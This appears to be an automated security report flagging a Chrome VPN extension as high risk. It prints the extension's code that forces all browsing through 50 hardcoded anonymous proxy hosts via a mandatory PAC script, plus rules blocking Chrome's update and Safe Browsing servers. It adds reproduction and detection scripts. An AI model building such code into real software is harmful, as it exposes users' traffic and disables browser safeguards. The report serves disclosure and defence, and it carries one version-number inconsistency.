Is Free VPN for Chrome: Secure VPN Proxy in One Click safe?

High risk

Free VPN is high risk. Clicking Connect on the Free VPN profile builds a PAC config from hardcoded hosts via Chrome's proxy settings. Non-localhost traffic routes through HTTPS hosts on port 443, exposing your IP, destination host, timing, and HTTP content.…

DeveloperBitsv1.0.1Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Activated VPN routes browsing through proxy host pools

Clicking Connect on the Free VPN profile builds a PAC config from hardcoded hosts via Chrome's proxy settings.

Non-localhost traffic routes through HTTPS hosts on port 443, exposing your IP, destination host, timing, and HTTP content.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You press the extension's connect button for the Free VPN profile.

The popup maps the default profile to a background message with profileId set to free.

The extension did this

The extension applies a browser-wide proxy rule from hardcoded host pools.

The rule excludes only localhost and otherwise returns HTTPS proxy hosts on port 443.

Information available to the selected proxy route
  • Destination site
    example.internal:443 (illustrative)

    Lets the proxy endpoint see which site your browser is trying to reach.

  • Browsing sequence
    mail.example.com, docs.example.com, crm.example.com (illustrative)

    Lets the proxy endpoint build a timeline of sites requested while the VPN profile is connected.

  • Your network address
    198.51.100.24 (illustrative)

    Identifies the network location that is making the proxied browser requests.

  • Unencrypted HTTP request details
    GET http://example.test/account?view=billing (illustrative)

    For plain HTTP pages, the proxy route can receive the requested URL path and headers your browser sends.

The code that does this

The shipped background code builds and applies the PAC proxy rule

Readable version

Hardcoded proxy host pools

js/background.js
const v = ["efr-marktplatz.club", "voteshirleysew.club", "carolinafreigh.fun", "purposebydesig.club", "mmgr.club", "webdrone.club", "ictabernacle.info", "jewelscollecti.icu", "berniesbodybla.fun", "fullmanfirm.icu", "miamigoskennel.fun", "goedkoopgeluid.icu", "tzoa.fun", "kimberlymilano.icu", "crosscards.site", "jgwynphotoarts.pro", "indextraub.online", "purecambogiasl.live", "zebpay.site", "southwestcoast.pro"],  S = ["www.mohegansuncasi.online", "www.hullwiper.live", "www.anokhiiwade.info", "www.tecnopay.online", "www.i-mopachores.live", "www.wpfaststart.info", "www.art1p.pro", "www.roccosiffredi.online", "www.saifrizvi.live", "www.rmtonthebeach.info", "www.donelikeyester.space", "www.yoakumselfstor.website", "www.passportsusa.space", "www.uatgc.website", "www.ahikeleher.site", "www.helpinghandsof.space", "www.onedaijo.website", "www.templarknights.site", "www.aoeah.space", "www.stratfordrc.website", "www.all4women.space", "www.keukataxi.website", "www.carimflex.site", "www.peacefulbodies.xyz", "www.vogelsenmeer.xyz", "www.9ts3tpia.world", "www.ruimte-18.xyz", "www.nogielectric.world", "www.bodrumexpresso.xyz", "www.jaqandlelights.world"];

PAC script generator

js/background.js
function O(e) {  return {    value: {      mode: "pac_script",      pacScript: {        data: `function FindProxyForURL(url, host) {if (host === 'localhost') { return 'SYSTEM;'; }return '${e.map(o=>`HTTPS ${o}:443`).join("; ")}';}`,        mandatory: !0      }    }  }}

Proxy settings applied

js/background.js
async function P(e) {  if (e < 0 || e >= c.length) return console.log(`[PROXY][cycle ${n}] No more attempts available (index=${e}).`), !1;  e === l && i < l && console.log(`[PROXY][cycle ${n}] Switching from pool A to pool B.`);  const t = m(e);  return i = e, console.log(`[PROXY][cycle ${n}] Applying pool ${t.pool} round ${t.round}: ${t.hosts.join(", ")}`), await chrome.proxy.settings.set(O(t.hosts)), !0}

Free profile connection path

js/background.js
async function b() {  n += 1, d = Date.now();  const e = g(v),    t = g(S);  return c = [...e, ...t], i = -1, console.log(`[PROXY][cycle ${n}] Generated A groups:`, e), console.log(`[PROXY][cycle ${n}] Generated B groups:`, t), u = null, await P(0), await w(!0, "free"), await y(!0), {    success: !0  }}

Connect message handler

js/background.js
const T = new Set(["connect", "disconnect", "getStatus", "rotateProxy"]);chrome.runtime.onMessage.addListener((e, t, o) => T.has(e.action) ? ((async () => {  try {    switch (e.action) {      case "connect": {        const r = e.profileId ?? "free";        r === "free" ? await b() : await x(r), o({          success: !0,          status: await f()        });        break      }      case "disconnect": {        await p(), o({          success: !0,          status: await f()        });        break      }      case "getStatus": {        o({          success: !0,          status: await f(),          cycleInfo: h()        });        break      }      case "rotateProxy": {        const r = await C();        o({          success: !0,          rotated: r,          cycleInfo: h()        });        break      }    }  } catch (r) {    console.error("[ProxyManager] Error:", r), o({      success: !1,      error: r.message    })  }})(), !0) : !1);
The code that does this

The popup button sends the connect message that activates the background path

Readable version

Popup connect handler

assets/index-BKA750bI.js
const d = s === "default" ? "free" : s;try {  chrome.runtime.sendMessage({    action: "connect",    profileId: d  }, p => {    i(!1), !chrome.runtime.lastError && p != null && p.success && r(!0)  })} catch {  i(!1)}
Hardcoded proxy domains in the version 1.0.3 background script
    • efr-marktplatz.club
    • voteshirleysew.club
    • carolinafreigh.fun
    • purposebydesig.club
    • mmgr.club
    • webdrone.club
    • ictabernacle.info
    • jewelscollecti.icu
    • berniesbodybla.fun
    • fullmanfirm.icu

    Candidate HTTPS proxy host in pool A.

    • www.mohegansuncasi.online
    • www.hullwiper.live
    • www.anokhiiwade.info
    • www.tecnopay.online
    • www.i-mopachores.live
    • www.wpfaststart.info
    • www.art1p.pro
    • www.roccosiffredi.online
    • www.saifrizvi.live
    • www.rmtonthebeach.info

    Candidate HTTPS proxy host in pool B.

All browser traffic routed through 50 anonymous hardcoded proxy hosts

In free mode, Connect routes every request through one of 50 hardcoded hostnames (e.g. efr-marktplatz.club, voteshirleysew.club, mohegansuncasi.online) with no verifiable link to the operator.

The PAC script picks three at random.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You click Connect in the extension popup without selecting a named proxy profile (free mode).

The extension did this

The extension immediately applies a mandatory PAC script routing all your browser traffic through three randomly-chosen hosts from a hardcoded pool of 50 unverified domains.

The proxy setting is marked mandatory:true, preventing you or any other extension from overriding it.

The code that does this

PAC script generation and proxy application

Readable version
// Pool A: 20 hosts (TLDs: .club .fun .info .icu .site .pro .online .live)const poolA = [  "efr-marktplatz.club", "voteshirleysew.club", "carolinafreigh.fun",  "purposebydesig.club", "mmgr.club", "webdrone.club",  "ictabernacle.info", "jewelscollecti.icu", "berniesbodybla.fun",  "fullmanfirm.icu", "miamigoskennel.fun", "goedkoopgeluid.icu",  "tzoa.fun", "kimberlymilano.icu", "crosscards.site",  "jgwynphotoarts.pro", "indextraub.online", "purecambogiasl.live",  "zebpay.site", "southwestcoast.pro"];// Pool B: 30 hosts (TLDs: .online .live .info .pro .space .website .site .xyz .world)const poolB = [  "www.mohegansuncasi.online", "www.hullwiper.live", "www.anokhiiwade.info",  // ... 27 more ...  "www.jaqandlelights.world"];// On free-mode Connect:function b() {  const groupsA = shuffle(poolA).slice(0, 9); // 3 groups of 3  const groupsB = shuffle(poolB).slice(0, 9); // 3 groups of 3  rotationQueue = [...groupsA, ...groupsB];   // up to 6 rounds  applyProxy(rotationQueue[0]);               // immediate activation}// PAC script builder — mandatory:true locks the proxy for the sessionfunction buildPAC(hosts) {  return {    value: {      mode: "pac_script",      pacScript: {        data: `function FindProxyForURL(url, host) {  if (host === 'localhost') { return 'SYSTEM;'; }  return '${hosts.map(h => `HTTPS ${h}:443`).join("; ")}'; // e.g. HTTPS efr-marktplatz.club:443; HTTPS crosscards.site:443; HTTPS southwestcoast.pro:443}`,        mandatory: true  // user cannot override this proxy      }    }  };}
All 50 hardcoded proxy hosts (pool A + pool B)
    • efr-marktplatz.club
    • voteshirleysew.club
    • carolinafreigh.fun
    • purposebydesig.club
    • mmgr.club
    • webdrone.club
    • ictabernacle.info
    • jewelscollecti.icu
    • berniesbodybla.fun
    • fullmanfirm.icu

    Pool A proxy host, all browser traffic tunneled at :443; no disclosed operator

    • www.mohegansuncasi.online
    • www.hullwiper.live
    • www.anokhiiwade.info
    • www.tecnopay.online
    • www.i-mopachores.live
    • www.wpfaststart.info
    • www.art1p.pro
    • www.roccosiffredi.online
    • www.saifrizvi.live
    • www.rmtonthebeach.info

    Pool B proxy host, all browser traffic tunneled at :443; no disclosed operator

Reproduce it yourself

Reproduces the proxy pool shuffle and PAC script generation locally, no browser required. Outputs the PAC script string and pool assignments that would be applied on Connect.

Requires
  • Node.js 18+
reproduce-proxy-pool.js · js
// Reproduce the proxy pool shuffle and PAC assignment from background.js// Run with: node reproduce-proxy-pool.jsconst poolA = [  "efr-marktplatz.club", "voteshirleysew.club", "carolinafreigh.fun",  "purposebydesig.club", "mmgr.club", "webdrone.club",  "ictabernacle.info", "jewelscollecti.icu", "berniesbodybla.fun",  "fullmanfirm.icu", "miamigoskennel.fun", "goedkoopgeluid.icu",  "tzoa.fun", "kimberlymilano.icu", "crosscards.site",  "jgwynphotoarts.pro", "indextraub.online", "purecambogiasl.live",  "zebpay.site", "southwestcoast.pro"];const poolB = [  "www.mohegansuncasi.online", "www.hullwiper.live", "www.anokhiiwade.info",  "www.tecnopay.online", "www.i-mopachores.live", "www.wpfaststart.info",  "www.art1p.pro", "www.roccosiffredi.online", "www.saifrizvi.live",  "www.rmtonthebeach.info", "www.donelikeyester.space", "www.yoakumselfstor.website",  "www.passportsusa.space", "www.uatgc.website", "www.ahikeleher.site",  "www.helpinghandsof.space", "www.onedaijo.website", "www.templarknights.site",  "www.aoeah.space", "www.stratfordrc.website", "www.all4women.space",  "www.keukataxi.website", "www.carimflex.site", "www.peacefulbodies.xyz",  "www.vogelsenmeer.xyz", "www.9ts3tpia.world", "www.ruimte-18.xyz",  "www.nogielectric.world", "www.bodrumexpresso.xyz", "www.jaqandlelights.world"];// Fisher-Yates shuffle (mirrors function k() in background.js)function shuffle(arr) {  const t = [...arr];  for (let i = t.length - 1; i > 0; i--) {    const j = Math.floor(Math.random() * (i + 1));    [t[i], t[j]] = [t[j], t[i]];  }  return t;}// Slice into groups of 3, take 3 groups (mirrors function g())function makeGroups(pool, groupSize = 3, numGroups = 3) {  const sliced = shuffle(pool).slice(0, groupSize * numGroups);  const groups = [];  for (let i = 0; i < sliced.length; i += groupSize) {    groups.push(sliced.slice(i, i + groupSize));  }  return groups;}// Build PAC script (mirrors function O() in background.js)function buildPAC(hosts) {  return `function FindProxyForURL(url, host) {if (host === 'localhost') { return 'SYSTEM;'; }return '${hosts.map(h => `HTTPS ${h}:443`).join("; ")}';}` ;}const groupsA = makeGroups(poolA);  // 3 groups from pool Aconst groupsB = makeGroups(poolB);  // 3 groups from pool Bconst rotationQueue = [...groupsA, ...groupsB];console.log(`Total pool hosts: ${poolA.length + poolB.length}`);console.log(`Rotation rounds: ${rotationQueue.length}`);console.log('');rotationQueue.forEach((hosts, idx) => {  const pool = idx < 3 ? 'A' : 'B';  const round = idx < 3 ? idx + 1 : idx - 2;  console.log(`Round ${idx + 1} (Pool ${pool}, group ${round}):`);  console.log('  Hosts:', hosts.join(', '));  console.log('  PAC:', buildPAC(hosts));  console.log('');});console.log('Active PAC script on Connect (round 1):');console.log(buildPAC(rotationQueue[0]));console.log('mandatory: true — browser cannot override this proxy setting.');
How to run it
  1. 1Install Node.js 18+.
  2. 2Save as reproduce-proxy-pool.js.
  3. 3Run: node reproduce-proxy-pool.js.
  4. 4Observe the printed pool assignments and PAC script; these match what the extension applies on Connect in free mode.

Chrome safety infrastructure blocked via declarativeNetRequest rules

The extension ships static rules blocking Chrome's own update and security servers.

Rule 1 blocks clients2.google.com (updates, CRLSet, Safe Browsing).

Rule 2 blocks googleapis.com and crash.google.com.

Both activate on install.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You install the extension.

No further interaction is required for the blocking rules to take effect.

The extension did this

The extension's declarativeNetRequest rules activate and block Chrome's requests to its own update and security servers.

Chrome can no longer contact clients2.google.com/service/update2/crx for extension integrity checks, CRLSet revocation data, or Safe Browsing lookups, and cannot reach googleapis.com or crash.google.com.

The code that does this

rules.json, the two blocking rules

Readable version

Rule 1 decoded — regex matches the Chrome extension update URL

rules.json rule 1
// /^https?:\/\/clients[0-9]+\.google\.com\/.*/.test(//   'https://clients2.google.com/service/update2/crx'// ) === true//// Chrome uses clients2.google.com/service/update2/crx for://  - Extension update checks//  - CRLSet certificate revocation list downloads//  - Safe Browsing data fetches// Rule blocks ALL 13 resource types, so no request type can bypass it.
Chrome safety endpoints affected by the blocking rules
    • clients2.google.com

    Chrome extension update server (service/update2/crx), CRLSet revocation list distribution, and Safe Browsing API lookups. Blocked by rule 1.

    • googleapis.com

    Google API gateway used by Chrome for token validation and Sign-In. Blocked by rule 2.

    • crash.google.com

    Chrome crash reporting endpoint. Blocking suppresses browser crash telemetry that could surface extension-related instability. Blocked by rule 2.

When this fires

On every browser startup

The declarativeNetRequest ruleset is enabled in the manifest and applies from the moment the extension is installed. It does not require a browser restart or user action to activate.

Check if you're affected

Tests whether Chrome's extension update endpoint is reachable. A fetch failure or ERR_BLOCKED_BY_EXTENSION response indicates the blocking rule is active.

Requires
  • Chrome browser with the extension installed
check-dnr-blocks.js · js
// Run in DevTools console while the extension is installed.// Open DevTools on any page (F12), paste into the Console tab.async function checkChromeUpdateEndpoint() {  const url = 'https://clients2.google.com/service/update2/crx?response=updatecheck&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26uc';  try {    const resp = await fetch(url, { mode: 'no-cors' });    console.log('REACHABLE: Chrome update server responded (type=' + resp.type + ')');  } catch (e) {    console.error('BLOCKED: Chrome update server unreachable —', e.message);    console.error('This is consistent with declarativeNetRequest rule ID 1 being active.');  }}checkChromeUpdateEndpoint();
How to run it
  1. 1Open any Chrome tab.
  2. 2Press F12 to open DevTools.
  3. 3Paste the script into the Console and press Enter.
  4. 4BLOCKED output confirms the rule is active; REACHABLE means it is not.
Updated 30 September 2026hklhhkchffegjfojbofhfkckjidfbjhe